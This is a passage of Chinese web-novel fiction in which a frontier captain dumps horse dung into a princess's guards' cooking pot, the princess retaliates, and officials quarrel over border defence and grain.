至始至终,骠骑校尉苏哲,却拉着一张脸低头不语。
这和他蛮横张狂的一贯做派,却是格格不入啊!
兵卒刘四悄悄凑了上来,向周敬堂附耳低语道:“大人,酒菜都快凉了……”
如何能忘了这茬?
周敬堂一怔,目光投向苏哲,讪讪说道:“苏将军,郡主受此惊吓,也该吃点喝点了?”
一语惊醒梦中人。
自打回到何家大院,就没有苏哲插嘴的机会,周敬堂如此一提醒,苏哲猛然抬起头来。
“好,本校尉这就邀请郡主过来。”
“是啊!经历如此一劫,我等该好好为郡主压压惊了。”
“郡主忌讳牛羊肉的腥膻,这次的酒菜,那可是镇首大人,特意从镇上带来的食材,又是专门的厨子……”
廊檐下,镇里来的官员们,纷纷大献殷勤,趁机给周敬堂表起功来。
第124章 狗子,给兄弟伙加料
回到后院,看到叶刘氏一脸焦虑。
“娘!”
叶十三自己找了一张破椅子坐了。
住在隔壁的田兵,及时地送来了茶水。
“大人,您喝点暖暖身子。”
在田兵的心里,只有叶十三才是和他们连着心的。
“先放着吧!”
叶十三摆摆手,田兵放下茶壶,知趣地退了出去。
“孩儿回去的那天,她没为难您和妹妹吧?”
叶十三心里,果然担心的是家人。
“没有,没啊!”
叶刘氏一脸慌乱,摆手急道:“娘和彩儿都很好,郡主她没有为难我们。”
“哼!”
一旁的彩儿,突然冷哼一声,悻悻地说道:“那个郡主高高在上,并没有找我和娘的麻烦,倒是那两个伺候她的,对我和娘恶语相向,还骂我是瞎子。”
叶十三面颊一抽,摇头道:“以后不会了,骂彩儿的那个女人,她已经死了。”
“我的儿啊!”
叶刘氏就像被火烫着了一样,惊呼道:“你可不敢再生事端,我们身份卑微,又是戴罪之身的奴籍,石头大了绕着走,万不可和郡主……”
面对叶刘氏的惊慌,叶十三苦笑一下,摇头道:“这个世道,总被人踩着,那还有我们的活路吗?”
“闰儿!”
叶刘氏又是一声惊呼,急道:“你真是什么都不记得了?”
“记得什么?”
叶十三一怔,向叶刘氏投去不解的一瞥。
“哦,哦!”
这下,该叶刘氏一怔,随即讪讪又道:“不记得就好,不记得就好。”
“反正,你不能对郡主不敬,一切唯命是从,你可记住了?”
“娘,孩儿记住了。”
叶十三点点头,不知该如何再把谈话进行下去。
抬头一瞥屋子,这间之前的马棚四面透风,比沙窝地的那间茅草屋好不了多少。
尤其是之前圈过马的缘故,再是经过了几次的打扫,但那股子马匹特有的骚臭味道,依然很辣眼睛。
安慰母女俩几句,叶十三就像当初逃离沙窝地的那间茅屋一样,再一次惴惴不安地出了后院。 此时,正屋里面,已经觥光交错,将领和官员们,纷纷站立在桌旁频频举杯,一脸巴结地向香香郡主说着压惊之词。
草!
你这蠢货的命,还是老子给救回来的。
就你那只快要冻成了冰块的臭蹄子,更是老子用雪搓了才保住的。
不说论功行赏嘛!你这蠢货也该有句人话吧?
早知道这样,老子还不如在营房待着烤牛粪火,让鞑子把你这等蠢货给享受了多好?
这下好了,你们这些鸟人在屋里吃肉喝酒,老子还饿着肚子在外面寒风中待命呢!
“大人,里边没事吧?”
李狗子凑了过来,忐忑不安地望着叶十三。
吴六子也是,缩缩脑袋,低声问道:“大人,我们何时回去?待在这里也不是回事,毕竟我们的防务重点在岘口。”
“我何尝不想?”
叶十三心里一乱,不由得挠挠头。
这时候,驻扎在偏院的卫兵们,也开了饭。
粳米细粮特有的香味,一股脑儿往三人的鼻孔里钻。
他娘的!
老子们舍身入死,却在这里挨冻受饿,你们这帮鸟人倒好,一个个就像劳苦功高的样子在享受。
吃?
老子叫你们吃!
想到这里,叶十三不禁火冒三丈。
“狗子!”
“小的在。”
“去后院马厩,整一兜马粪过来。”
叶十三嘴角一拧,嘴角浮起一丝坏笑。
李狗子一怔,随即大嘴一咧,拔腿就往后院跑去。
“大人,要不要小的……”
察觉到叶十三的意图,吴六子一脸坏笑地凑了上来,小声征求叶十三的意见。
“不用,明着来!”
叶十三阴阴一笑,撇嘴道:“不给他们点颜色,还真以为老子好欺负。”
“得让这些不知天高地厚的家伙们吃些苦头。”
吴六子也是一肚子怨气,仗着营救香香郡主的功劳,壮起胆子就响应了一声。 再说,有叶十三在,他们还怕个俅?
不一刻,李狗子弯着腰,用露在革甲下面的衣襟,兜了一兜马粪跑了过来。
“走,上偏院。”
吴六子走在前面开道,叶十三背着双手紧跟其后,李狗子兜着马粪,弯着腰跟在后面一路小跑。
到了偏院门口,被执勤的卫兵伸手拦住。
“站住,闲杂人等不得入内。”
“去你娘的!”
卫兵的话刚说完,就被吴六子跳起来,一巴掌给抽得像陀螺一样原地转圈。
“老子是闲杂人等?告诉你个龟孙子,这院子还是老子让给你们住的。”
理直气壮的吴六子,怒骂着扬起手来又要抽。
呼啦啦一下,就围上来十来个卫兵。
“滚开!”
叶十三眼睛一瞪,背着手就往大灶走去。
到底是叶十三恶名在外,卫兵们还是有些顾忌,任由叶十三闯了进去。
李狗子做贼一样猫着腰,紧紧地跟在叶十三身后,就直奔大灶。
此时的大灶旁边,一名火头军正挥动着大铲,在锅里翻搅着热气腾腾的饭菜。
“狗子,给兄弟伙加料!”
“好嘞!”
叶十三突然一声喊,李狗子忙不迭更地应了一声。
“哗啦!”
奔到大灶旁边的李狗子,突然腰杆一挺,双手撩起衣襟向锅中一抖,一兜儿骚臭冲天的马粪,就被倾倒进了香气扑鼻的饭菜中。
“啊……”
火头军手中的大铲,就像瞬间被冻僵了一样定格在半空。
“你……你敢给锅里……扔马粪……”
吃惊不小的火头军,万万没想到,还有人如此大胆,敢给郡主卫兵的饭菜中扔马粪。
马粪?
正不知所措的执勤卫兵,闻言后纷纷围了上来,只看到即将就要出锅的饭菜里面,被扔进去不少的马粪蛋蛋。
这一下,卫兵们立刻就炸锅了。
“叶大人,你这是?”
一名卫兵壮起胆子,硬着头皮问道:“小的们又没招惹大人,为何如此糟践小的们?” “糟践?”
叶十三眉头一挑,怒道:“就你们这些怂包软蛋,也配在这里吃饭?”
外面的嚷嚷声,惊动了骠骑校尉苏哲。
苏哲从一间屋子出来,快步走向叶十三面前。
“叶大人请,屋里暖和!”
此时的苏哲,从心里完全明白,叶十三是他这个校尉惹不起的人物。
光棍不吃眼前亏,还是少惹这种人为好。
苏哲如是想着,拱手又道:“在下正想找叶大人请教一些军务,没曾想的叶大人自己来了。”
就在苏哲在叶十三面前虚情假意的时候,火头军拎着炒菜的大铲,哭丧着脸上前说道:“启禀将军,他们,他们给锅里扔马粪,诚心不让我们吃饭。”
“马粪?”
苏哲陡然一惊,马上就明白是怎么回事?
闻言之下,苏哲一阵头大。
第125章 人之饭食,岂能投掷牲畜粪便
尽管苏哲怒火爆棚,但还是依旧保持着克制。
“鬼叫什么?”
苏哲狠瞪火头军一眼,怒道:“洗刷锅灶,再做一锅不就完了?”
说着,苏哲斜眼向一旁的一名兵卒使个眼色,兵卒撒腿就出了偏院。
见他们的头都忍气吞声,敢怒不敢言的卫兵们,只好悻悻地散了。
就在此时,早已喝得面红耳赤的官员和将领们,拥簇着香香郡主赶到了偏院。
岳佟快步上前,急奔到大灶前一看,面颊一抽,额头霎时就渗出了汗。
周敬堂更是气急败坏,围着锅台斗鸡一样蹦跳着叫道:“品德如此败坏,人之饭食,岂能投掷牲畜粪便?”
雷霆大怒之下,周敬堂目光看向苏哲,吼道:“还不将此人拿下?”
拿你娘个蛋!
叶十三站在一旁巍峨不动,这主子都没发话,你这老疯狗叫唤什么?
果然,苏哲站着没动,而是把目光投向香香郡主的脸上。
香香郡主双手交叉抱在胸前,缓缓上前几步,斜着眼睛向大灶上的铁锅一瞥。
“噗嗤!”
再说冷若冰霜,再是高高在上,但这一瞥之下,也没忍住反而把自己给逗笑了。
这一笑,百媚顿生。
也是由于这一笑,岳佟悬提着的一颗心,霎时就落了下来。
狠瞪叶十三一眼,岳佟怒道:“如此胡闹,成何体统?”
叶十三就像个聋子,好像并没听见岳佟说什么?
倒是香香郡主美眸一转,樱唇轻启,阴阳怪气地冒出一句话来。
“饿了?”
这不废话吗?
自昨夜擦黑,来回奔袭好几十里路,到此时肚里水米未进,饿不饿?
难道你心里没个数?
“都愣着干什么?”
香香郡主目光一瞥围着的卫兵,微笑道:“千户大人饿了,你们还不给盛饭?”
“啊……”
提着大铲的火头军,指着大灶上的铁锅,诺诺说道:“郡主,就这?”
“盛啊!愣着干什么?”
狠瞪火头军一眼,香香郡主笑颜如花的粉脸,霎时又挂上了一层严霜,怒道:“难道让千户大人饿毙在本郡主眼前不成?” “是,是……”
火头军一怔,随即脸上就浮起一丝坏笑,拿过一只大海碗,手中的大铲,伸进锅中专挑那些马粪就往碗里装。
草!
这傻妞,真她娘的狠!
居然用这种方式报复自己?
叶十三瞬间就傻了眼,脸都绿了。
“千户大人,请吧!”
看到火头军手中端着的大海碗,香香郡主强按着嗓眼里往上泛着的酒菜,目光一瞪几名卫兵,厉声道:“没眼色的东西,还不侍奉千户大人用膳?”
让叶十三把掺着马粪的饭吃给吃了?
这真是以其人之道,还治其人之身。
高,实在是高。
此言一出,将领们都傻眼了。
但以周敬堂为首的官员们,却不一样了,个个脸上一副得意之色。
苏哲嘴唇一阵蠕动,到底还是没敢说话,悄悄后退几步站了,低着头装作什么都没看到。
“郡主不可……”
一阵撕心裂肺的哭喊,立即急急传入众人的耳中。
叶刘氏推开偏院门口的卫兵,跌跌撞撞就向大灶奔来。
“请郡主赎罪,犯妇替我儿吃了……”
一脸悲色的叶刘氏,不顾一切地冲上来,从火头军手中一把夺过大海碗,另一只手抓起碗里沾着菜叶的马粪,急急就往嘴里喂去。
“娘!”
刚才还无所事事的叶十三,大吼一声,胳膊一抡,手中的刀鞘就打落了叶刘氏已经送到嘴边的马粪。
同时,叶刘氏另一只手中端着的大海碗,随即就被叶十三的刀鞘,抖落在地摔了个粉碎。
瞬间突来的这一幕,让在场来不及反应的人,都倒吸了一口凉气。
“大胆!”
正等着看叶十三笑话的周敬堂,又跳了出来吼道:“把这擅闯军营的疯婆子,给本官拉出去乱棍打死。”
“简直无法无天,眼里还有郡主?”
周敬堂说完,火上浇油的又是一句。
叶十三一手握着刀鞘,一手扶起叶刘氏,轻声说道:“娘,这里没您的事,快回后院去。”
“混账!”
刚被叶十三扶了起来的叶刘氏,随手就甩过来一个嘴巴! “啪!”
叶十的脸上,随即就出现了五道指头印。
“娘是如何叮嘱你的?”
叶刘氏泪眼婆娑,浑身颤抖着盯着叶十三的脸。
“打得好!”
在众人的惊愣中,香香郡主顿时喜笑颜开,叫了一声好后,把目光投向李狗子和吴六子二人,愠色又道:“混账东西,还不把老夫人送回去?”
“啊……”
李狗子和吴六子二人,同时一愣,随即就明白了过来,赶忙上前,一左一右扶着叶刘氏,快步离开了偏院这个是非之地。
老夫人?
这蠢货,居然称我娘为“老夫人”了?
叶十三一阵呆愣,把手中没有出鞘的刀,缓缓挂回了腰间。
这个细微的动作,让苏哲手心紧攥了一把汗。
“散了散了,都散了!”
香香郡主就像街头看热闹的闲人,摆摆手转身就往回走。
虚惊一场。
岳佟狠瞪叶十一眼,向身边的周钊低语一阵,然后跟着就出了偏院的门。
周钊凑在叶十三耳边,低声道:“找个借口,赶快回去,这地方尽量躲着点。”
“末将遵命!”
叶十三向周钊拱手一礼,然后目光冷冷,挺着胸膛就走了出去。
在后院,叶刘氏虚弱地躺着,嘴里不停地骂道:“娘的话,看来你一句都没听进去,你这是要活活把娘气死不成?”
叶十三无可奈何地笑笑,蹲在墙角一声不吭。
这时候,隔壁屋里的一名田兵摸了过来。
“大人,趁热吃,不够了还有。”田兵把衣襟里兜着的烤山药蛋,一股脑儿倒在桌上,顺手又抓起两个,扔给吴六子和李狗子。
“早知道这样,还不如当初给扔雪地里喂狼!”
叶十三啃了一口烤山药蛋,使劲地咽了下去又说:“凭什么他们吃粮食,我们就啃这些玩意儿?”
“可不是?”
李狗子白眼一翻,使劲吞了一口烤山药蛋,悻悻说道:“背着个大活人,小的都快累成狗了,这功劳没有嘛!苦劳总有,一口饭总得给吧!”
“谁说不是呢?”
吴六子也摇摇头,叹口气道:“他们吃的粮食,还是大人您搞来的,合着咱们就该喝西北风不成?”
“行了!” 叶十三摆摆手,怕说多了,又会引起叶刘氏的担心,又道:“大将军把一千兵马,都留给我了,抓紧时间填肚子,赶天黑之前回到屯田村。”
“为何不直接回营房?”
吴六子一怔,觉得叶十三又有了部署。
果然,叶十三眼睛一瞪,沉声道:“这里的粮食,好多人眼睛都盯着的,尤其是镇衙门,你出大院外面,去告知袁校尉,做好运粮准备。”
“啊……”
此言一出,李狗子瞪大了眼睛,急道:“我们手中眼下马车都没一辆,这粮食不少,如何运得走?”
“猪脑子?”
叶十三怒骂一句,然后又道:“口袋装好了,一匹战马驮两袋,一千骑兵不就能驮回去两千袋?”
第126章 唇枪舌战
正屋里,众人已经酒足饭饱。
岳佟目光一扫全场,神色严峻面带不悦,沉声道:“此次郡主遇险来看,元蒙已经准备对我大夏发动战事。”
“岳大将军,请莫要危言耸听了,郡主是在元蒙境内遇险,而非我大夏边关。”
周敬堂抓住话头,立刻反驳一句。
“哦!”
岳佟转过脸来,盯着周敬堂那颗硕大的脑袋,反问:“如此一来,那么叶十三何罪之有?”
这一问,正是时候,周敬堂一直见缝插针,欲将叶十三置于死地。
“周大人不是说,是叶十三玩忽职守,这才使郡主身陷囹圄的吗?”
岳佟更是当仁不让,一句就给怼了回去。
“你……”
周敬业一怔,强词夺理道:“再是郡主在元蒙境内遇险,那也是叶十三防控不力所致,郡主从小在京都长大,又非我北漠边民,如何分辨得清疆域界限?”
这句话,听起来还真有几分道理。
不料,岳佟脸色更加难看起来,缓缓说道:“这本将就要请教一下周大人了?”
岳佟强按下心头怒火,淡淡道:“天降大雪,郡主稀奇北漠雪景倒也情有可原,但郡主是从此地出发,横穿野驴滩辖区赏雪猎狐,而叶十三镇守黄羊岘,离此也有差不多四十里地,这本就是无法兼顾之事,如何就叫防控不力?”
“再说,骠骑校尉苏哲,其职责就是护卫郡主安全而不离左右,郡主遇险后,倒是叶十三及时行动,深入虎穴,营救郡主毫发无损安全归来,周大人身为地方父母,如此容不下我边军将士,这倒是如何解释?”
岳佟当仁不让,变了脸来质问周敬堂。
周敬堂脸一阵上青红不定,继而又道:“一个奴籍,居然被晋升为带兵的将领,要知道,那叶家,可是朝廷贬为奴籍的充军苦役。”
一提到叶家被贬为奴籍是事,没人注意到香香郡主的脸色顿变,一丝惊慌闪过之后,随即又恢复了常态。
“晋升叶十三军职,那是朝廷嘉奖令在先,杀敌军功所致,本将只能执行朝廷法令行事。”
岳佟脸上,已带愠色,言外之意是指责周敬堂连朝廷法令都不顾,这是意欲何为?
“哦!”
岳佟又像是记起了什么?
目光一扫全场,淡淡又道:“难怪周大人无视朝廷法令,想必是和鞑子来往多了的缘故?”
此言一出,众人大惊。
这话,那可不是随便能说的,这是指对方有叛国之嫌疑。
果然!
周敬堂闻言色变,面颊急抽,忙道:“本官主政地方,工,农,商三者,都要兼顾管理,偶有边民走私,那也是常见不鲜,更无关国之安危,本官只是因郡主遇险之事,气愤我边防疏漏如此之大,叶十三又是防区将领,鞭策他几句,也在情理之中。”
“是啊!”
另一名地方官员,向岳佟拱手一礼,讪笑道:“周大人也是急郡主之安危,不免就防务方面牢骚几句,不过话说回来,这也是对叶千户的爱护之意,还请岳大将军莫要误会才是。”
话说到这份上,大家都心知肚明,撕破了脸皮,对谁都不好。
“行了!”
不想再听有人提到遇险之事的香香郡主,摆手道:“如今边城不稳,希望大家同仇敌忾,莫要为一些小事徒生间隙,眼下局势不明,各位还是回去早做准备,未雨绸缪才是。”
此言一出,众人都懂。
说好听了,这是给大家一个借坡下驴的台阶。
说难听了,这是逐客令。
“承蒙吉星高照,既然郡主无恙,我等还是回去各司其职,也好让郡主好好静养些时日我等再来拜谒好了。”
岳佟双拳一抱,环顾四周,客套一番便出了何家大院,到了袁彪面前又附耳几句,这才率众匆匆离开。
周敬堂更是,先是以出恭为借口,出了正屋,向刘四和王选反复叮咛一番,这又折回正屋,在香香郡主面前加油添醋一阵后,便悻悻告辞。
望着满桌的狼藉,香香郡主让卫兵即刻收拾干净。
不一会,月瑶烧好了茶水,候在一旁说道:“郡主先醒醒酒,连夜颠簸太累,也该好好歇着啦!”
“多嘴!”
香香郡主杏眼一翻,嗔怒道:“现在想想,还真是怕了,幸亏……唉!还是不说了。”
摆摆手挥退紫伶,香香郡主坐在桌旁发起呆来。
这时候,苏哲耷拉着脑袋,站在门外求见。
“进来!”
看到苏哲在眼前跪了,气不打一处来的香香郡主低声又道:“你还有脸叫屈?”
“末将惭愧!”
“惭愧?”
香香郡主嘴角一撇,轻蔑说道:“要不是那些大人们都在场,本郡主还真想让你把那些马粪给吃了!”
数落完苏哲,香香郡主神色又黯淡下来,摇头道:“总之,这次脱险,还真亏了那混蛋,要不是他孤身入虎穴,后果还真不敢想象。”
“郡主吉人自有天相,叶十三也是凑巧……”
“放屁!”
香香郡主怒吼一声,厉声又道:“何等情景,别人不知,难道你也不清楚?”
“郡主息怒,末将知错。”
“行了!”
香香郡主不耐烦地摆摆手,站了起来活动了一下自己的那只脚,道:“去,传李狗子和吴六子来见本郡主。”
“遵命!”
苏哲一怔,迟疑片刻,然后站了起来匆匆离去。
片刻后,李狗子和吴六子到了。
“小的,参见郡主。”
“不必多礼,坐吧!”
香香郡主一摆手,让李狗子和吴六子坐。
二人低着头相互偷看一眼,然后急忙抬头,齐声道:“小的不敢,小的还是站着的好。”
香香郡主咳嗽一声,外面候着的紫伶碎步急跑,旋风一样赶了进来。
“去,拿二十两银子。”
说完,嘴角一拧又道:“记好了,从苏哲饷银中扣除。”
这是几个意思?
李狗子和吴六子二人,站在地上一阵慌乱,面对如此喜怒无常的香香郡主,心里还真是一阵发毛。
“饿了吧?”
香香郡主又是一句。
“回郡主话,方才在后院,吃了些烤山药蛋。”
吴六子还是机灵,讪笑着回答了一句。
“吃了就好,饿了那么久了。”
香香郡主一张粉脸,露出了千年难遇的一笑。
这一笑,让二人又是一阵心惊胆颤,如临大敌一般,不由得紧张起来。
就在此时,匆匆离开的紫伶,拿着两锭银子进来。
“每人十两,喝顿小酒足够了。”
香香郡主示意,让紫伶把银子分给二人。
得了银子的李狗子和吴六子,心里一阵吃惊。
十两银子啊?
那可是底层兵卒两个月的饷啊!
还喝顿小酒足够了?
这十两银子,能养活全家人两个月喝糊糊都不断顿的。
有钱人的世界,还真他娘的搞不懂。
第127章 郡主她来了
这下,李狗子和吴六子二人,高兴得合不拢嘴了。
斜瞥喜形于色的二人一眼。
“退下吧!”
香香郡主一扬手,又道:“本郡主困了,你们也忙军务去吧!”
二人千恩万谢,深施一礼退后,喜滋滋地出了正屋。
自始至终,香香郡主没提都没提关于叶十三的半个字。
“狗子,这郡主,还真大方。”
吴六子一脸喜色,把银锭放嘴边用牙咬了一下。
“可不是?”
李狗子做贼一样,四下瞄了一眼,低声道:“说实话,方才那个侍婢来传,我可真是吓坏了。”
“奇怪!”
吴六子眉头一皱,道:“按理说,这都是大人的功劳,为何这郡主,独没有提及大人半句?”
“小声点!”
李狗子一猫腰,边走边说道:“这郡主,见了咱大人,就像前世有仇一样。”
吴六子一怔,思忖片刻,喃喃道:“照你如此一说,还真有些有仇的样子。”
“领赏去了?”
突然,叶十三从一处拐角冒了出来,霎时就把二人惊出一身冷汗。
“禀大人,郡主召见,小的们不敢不去。”
吴六子讪笑着,把手中的那锭银子,递向叶十三面前。
李狗子见状,也赶快掏出自己的那锭,向叶十三递了过去。
“怎的?”
叶十三摇摇头,笑道:“嫌郡主的赏钱烫手啊?”
望着一脸尴尬和不安的二人,叶十三摆手道:“给你俩的,你们就安心拿着,有赏银总比挨骂要好多了。”
谁说不是啊?
这叶十三,不但救了香香郡主,但没少挨香香郡主的收拾。
别说赏银了,就一句暖心的道谢话都没听到,还差点被罚吃马粪。
这理,上哪说去?
叶十三让二人把银子揣好,然后又道:“抓紧时间,帮北防军装粮食,每匹战马都驮一些,赶天黑之前务必要到达屯田村。”
“郡主那边?”
吴六子指了指正屋。
“别找不知在,要让她知道了,我们还不是白忙活了?”
叶十三眼睛一瞪,吓得吴六子脖子一缩,撒腿就直奔粮仓。
不大时候,被封存的粮食,已经被装掉了一半。
每匹战马身上,都驮着两只囊鼓鼓的口袋。
叶十三唤来苏哲,沉声说道:“郡主累了,就让她好好歇息,别没事去打搅。”
叶十三的话,苏哲懂。
要是再去向香香郡主禀报这禀报那的,说不定会挨鞭子的。
香香郡主的脾气,他可是最清楚的了。
再说,调运军粮的事,本身就是人家叶十三的军务范畴,按道理,还真轮不到香香郡主来插手。
退一万步,要是他们这些卫兵横加干涉,外面袁彪带着的那一千北防军,可真不是好惹的。
眼下那一千兵马,可是听叶十三指挥的。
踌躇片刻,苏哲拱手道:“千户大人放心,没人会去打搅郡主休息。”
“嗯!”
叶十三点点头,道:“经历一夜的惊吓,又差点被冻僵,这搁谁身上都受不了。”
看着苏哲回了偏院,叶十三催促大家手底下放快点。
片刻后,骑兵变马夫,牵着驮了粮食的战马,离开芦河湾村后,横插野驴滩地界,直奔黄羊岘而去……
天色刚刚擦黑,叶十三带着一千兵马到了。
望着全副武装的一千兵马,徐老六的眼睛都直了。
“大人,这是?”
“别啰嗦了,抓紧时间,粮食入库,腾出这里所有的签房、闲置的仓库,安顿这些兵马歇息”
一时间,屯田村几乎所有的军户都忙碌起来。
一千北防军的常备军,那可让屯田村的安全保障加强了不少。
这些尊神,平时请都请不来。
更别说驻村了。
迫于叶十三近日鹊起的声名,校尉袁彪更是不敢怠慢,指挥着手下的十个百夫长,顿时忙成一片。
他清楚,按军职,他一个校尉,让亲自带领这一千兵马。
作为岳佟的心腹,他知道自己肩上的责任是什么。
让他听叶十三指挥,一是为了防务,第二层原因,也是有着对叶十三的监视之能。
毕竟,叶十三是个奴籍,并不是岳佟一手带出来的兵将。
有了袁彪的驻扎,叶十三总算是稍加松缓了一口气。
回到营房,已是半夜。
躺在热腾腾的火炕上,辗转反侧的叶十三,却是久久难以入睡。
凭借前身残存的记忆碎片,他脑海中,死活拼凑不出一个完整的画面来。
那半片玉佩?
真的是那个胸大无脑,刁蛮任性,又喜怒无常的蠢货从小就佩戴着的?
看叶刘氏惊慌的表现,这里面绝对有隐情。
这叶刘氏,似乎很是忌惮那个香香郡主,生怕他和那个蠢货郡主发生丁点儿摩擦。
脑仁又是一阵生疼,也没拼凑出个完整的记忆来,让叶十三不得不放弃了对过往的拼命回忆。
但他明显地觉察到,这个香香郡主,和岳佟不是一路人。
也就是说,和他这个岳佟的部将,更不是同一路人。
倒是周敬堂那鸟人,鞍前马后忙个不停,就像香香郡主是他的主子一样。
毫不用说,他们,是一伙的。
最少,周敬堂和香香郡主背后的肃王,有着千丝万缕的关系。
最近得宠的肃王,要插手边城的军务了?
任何一个边军都知道,这北漠千里边城,那是镇北王吕南庭一手打下的根基。
边城的千里防线,更是大夏半边江山的有力屏障。
控制了千里边城,就等于手握着大夏半壁江山的安宁。
“臭婆娘,你千万别惹怒了老子。”
“不然,老子才不管什么肃王不肃王的。”
“老子的底线,你可千万别触碰,要是敢动我家人一根汗毛,鞑子没干完的活,老子就会替他们干了。”
脑袋一阵发麻的叶十三,一连自语着骂了三声后,被子蒙头就睡了。
……
“大人,大人醒醒!”
还在睡梦中的叶十三,被马成急急地叫醒。
“天亮了?”
“大人,都日上三竿了。”
马成立在炕前,尬笑着指了指窗外。
“哦!”
叶十三坐了起来,使劲地揉了揉两侧的太阳穴,道:“睡这么死!”
“大人……”
吴六子也进得屋子,一脸阴晴不定地望着叶十三,又道:“何家大院来人了。”
“这些卫兵乱跑什么?”
叶十三伸了个懒腰,然后下炕找靴子穿。
“是郡主!”
吴六子讪笑着,又不知所措地搓着两手。
“谁?”
叶十三一怔,半天没回过神来。
“是香香郡主,她来了。”
吴六子忐忑不安,偷瞥叶十三一眼,又补充一句。
草!
这傻货,吃撑了?
好好的何家大院不安生待着,跑黄羊岘防区找屁吃?
难道,她是发现粮食很运,追过来讨要了?
叶十三一阵头大,怒道:“防区严禁无关人员通行,可有报备?”
“大人……”
吴六子一脸不安,讪笑道:“她横冲直撞,哪有向徐老六那边报备啊!”
说完,吴六子低声又道:“是何家大院那边,后院的一个田兵带路,这会正在村里签房大院喝茶呢!”
“传我军令,将无报备之人,轰出黄羊岘防区!”
叶十三勃然大怒,转头就是一声怒吼。
“大人!”
马成凑了上来,低声道:“按禁令,擅闯军事禁区者,理应扣押盘查,这轰出去……”
“滚!”
要不是马成早有准备,叶十三一个脖儿拐,就会把他抽翻在地。
“你能,你去扣押盘查,打一百军棍都行,老子就让你去执行。”
叶十三笑了,半眯着眼睛向马成吩咐。
“大人,您可就饶了小的吧!”
一脸苦相的马成,顺势就给叶十三跪了。
“跟我去签房大院!”
叶十三一脸黑线上头,冲着马成和吴六子就怒吼一声。
第128章 肉糜之众
这消息,可不是个好事。
早饭都没顾上吃,叶十三匆匆赶往屯田村。
还没到签房大院,老远看到苏哲,已经带着卫兵在校场操练。
这唱的哪出啊?
纯属有病!
而且还病得不轻,一个村的练兵校场有多大?
你们这些闲的蛋疼的玩意儿,还要跟驻军抢地方?
“大人,这郡主把卫兵都带来了?”
吴六子望着校场上喊杀不断的卫兵们,也不禁眉头一皱。
“真是没事找事。”
叶十三也是眉头紧蹙,下了马就直奔签房大院。
一进入签房,就看到香香郡主大喇喇坐在条案后面,袁彪和徐老六二人,束手在条案两侧立着。
“你来何干?”
一打照面,叶十三居然没有向香香郡主行礼,张口就是一句责问。
“大胆!”
香香郡主猛然抬头,眼里闪过一丝不安,随即就镇定了下来,愠怒道:“身为防区千户,见了监军不跪,这成何体统?”
监军?
监你娘个蛋!
叶十三眉头一挑,提高了声调说道:“黄羊岘防区已经进入甲级战备,所有进出人等,必须向我驻军报备,你身为监军,难道不知戍边防务禁令?”
“少拿这些来吓唬本郡主!”
香香郡主沉下脸来,杏眼圆睁瞪向叶十三。
“本郡主身为监军,行使的可是朝廷兵部的监督之权,兵符在手,可监察军中一切事务,一个小小的村级防区,也胆敢对本监军禁足?”
说着,香香郡主伸手入怀,摸出一只黑色的虎头兵符,重重往案上一拍,又道:“睁大你的狗眼看看,这是何物?”
这一招,还真让叶十三傻眼。
见叶十三闭口不言,香香郡主眼里闪过一丝得意,缓缓又道:“知道眼下进入甲级战备,故而本郡主这才前来监察你防区一应事务是否还有疏漏?”
“不过!”
香香郡主口气稍加缓缓,淡淡又道:“边城防区,军民混杂,一应管理,更是难道
度甚大,本郡主念你日夜操劳实也不易,这才走走看看,若有疏漏,亡羊补牢,为时不晚,你却倒好,狗咬吕洞宾,不识好人心,还倒找起本郡主的不是来了?”
“郡主息怒,郡主息怒!”
徐老六提过茶壶,向香香郡主眼前的茶碗中斟满茶水,又道:“先喝茶,暖暖身子,至于防务,小的吩咐下去严加梳理一遍。”
只有袁彪不语,面无表情地立在一边。
叶十三眼珠子一转,这袁彪那可是岳佟的心腹大将。
思忖片刻,叶十三目光冷冷,缓缓又道:“边军小卒,哪管什么兵部不兵部的,叶十三只听岳大将军号令,如无车骑大将军岳佟的手令,任何人等,都不可擅闯军事禁区!”
此言一出,袁彪面颊一抽,斜眼向叶十三投来一瞥。
“好啊!”
香香郡主粉脸陡然变色,点头道:“果然是镇北王的人,你们眼里,还有朝廷吗?还有圣上吗?”
“郡主息怒!”
这时,袁彪双手抱拳,向香香郡主躬身一礼道:“叶千户军伍不久,还不知个中程序,更无意对抗朝廷,粗人一个,纯属粗人一个,还望郡主莫要曲解为好。”
这一句,签房内的气氛貌似稍有缓和。
明摆着的,袁彪这是在向他的新上司叶十三辩解。
“粗人?”
香香郡主嘴角一拧,面露不屑,口气轻蔑地又道:“这些年,你的圣贤书,莫不是都读到狗肚子里去了?”
此言一出,叶十三面颊一抽。
香香郡主又道:“看来,仓廪实而知礼节,这话一点不假,到了边城饿了几顿,就变成这等粗野之徒,难怪才有此鲁莽之举。”
徐老六和袁彪,都知道叶十三是被贬奴籍后的充军之人,以前应该是读过书的,充军到此,近墨者黑嘛!
“不过!”
香香郡主收起虎头兵符,起身离开椅子,从条案后面绕了出来,径直走到叶十三面前,淡淡又道:“既然你身居千户军职,当以大夏疆土为责,当以边城百姓福祉为念,本军职就陪你走访一下,看看边民生息可有保障?”
好啊!
那就老子带你这蠢货开开眼好了。
叶十三肚里暗骂一句,闪身往一侧一让,道:“郡主请!”
“这还差不多,就是欠收拾!”
香香郡主傲然挺胸,边走边道:“核桃是要砸了才能吃,这有些人嘛!还得敲打才能懂事。”
说着,香香郡主已经走到院中,低头瞅了瞅脚上穿着的一双鹿皮长靴。
那双鹿皮长靴做工更是精美,大红色的漆面不说,边缘还镶嵌着一圈铜钉。
要知道,在大夏,铜可不是一般人用来作装饰的,那是铸钱的材料,是受朝廷严格的管制。
铜的价值,仅次于银。
一双靴子,镶嵌了如此多的铜钉,这不光是有钱就可以的,重要的是那得拥有高高在上的身份才行。
士、农、工、商,商籍最贱,虽然有些买卖人,是挣了不少的钱,但他未必就敢逾越礼制如此铺张。
奴籍,可以说被列为庶民之外,就连排等级的资格都没有。
看到香香郡主出了签房,叶十三并没有急着跟出去,而是招招手,向袁彪和徐老六吩咐一番,又部署了一些防务要求。
“大人,既然郡主要走访民户,小的吩咐下去,让各家准备一下,免得又落口实?”
面对徐老六的担忧,叶十三摆摆手,道:“不用了,实地走访,让京都来的人,也好了解一下民间疾苦,更让她看看边民,这日子是如何苦熬的。”
袁彪也道:“肉糜之众,尽早离开为好,边民疾苦,在这等人眼里,无非就是看了个热闹而已。”
“我心里有数。”
叶十三说完,转身就跟了出去。
“走啊千户大人!”
早已上了马背的香香郡主,美眸翻转不停,傲然地望向走出签房的叶十三。
草!
这蠢货,马都骑到院中进来了,要知道,马是不能进院中的。
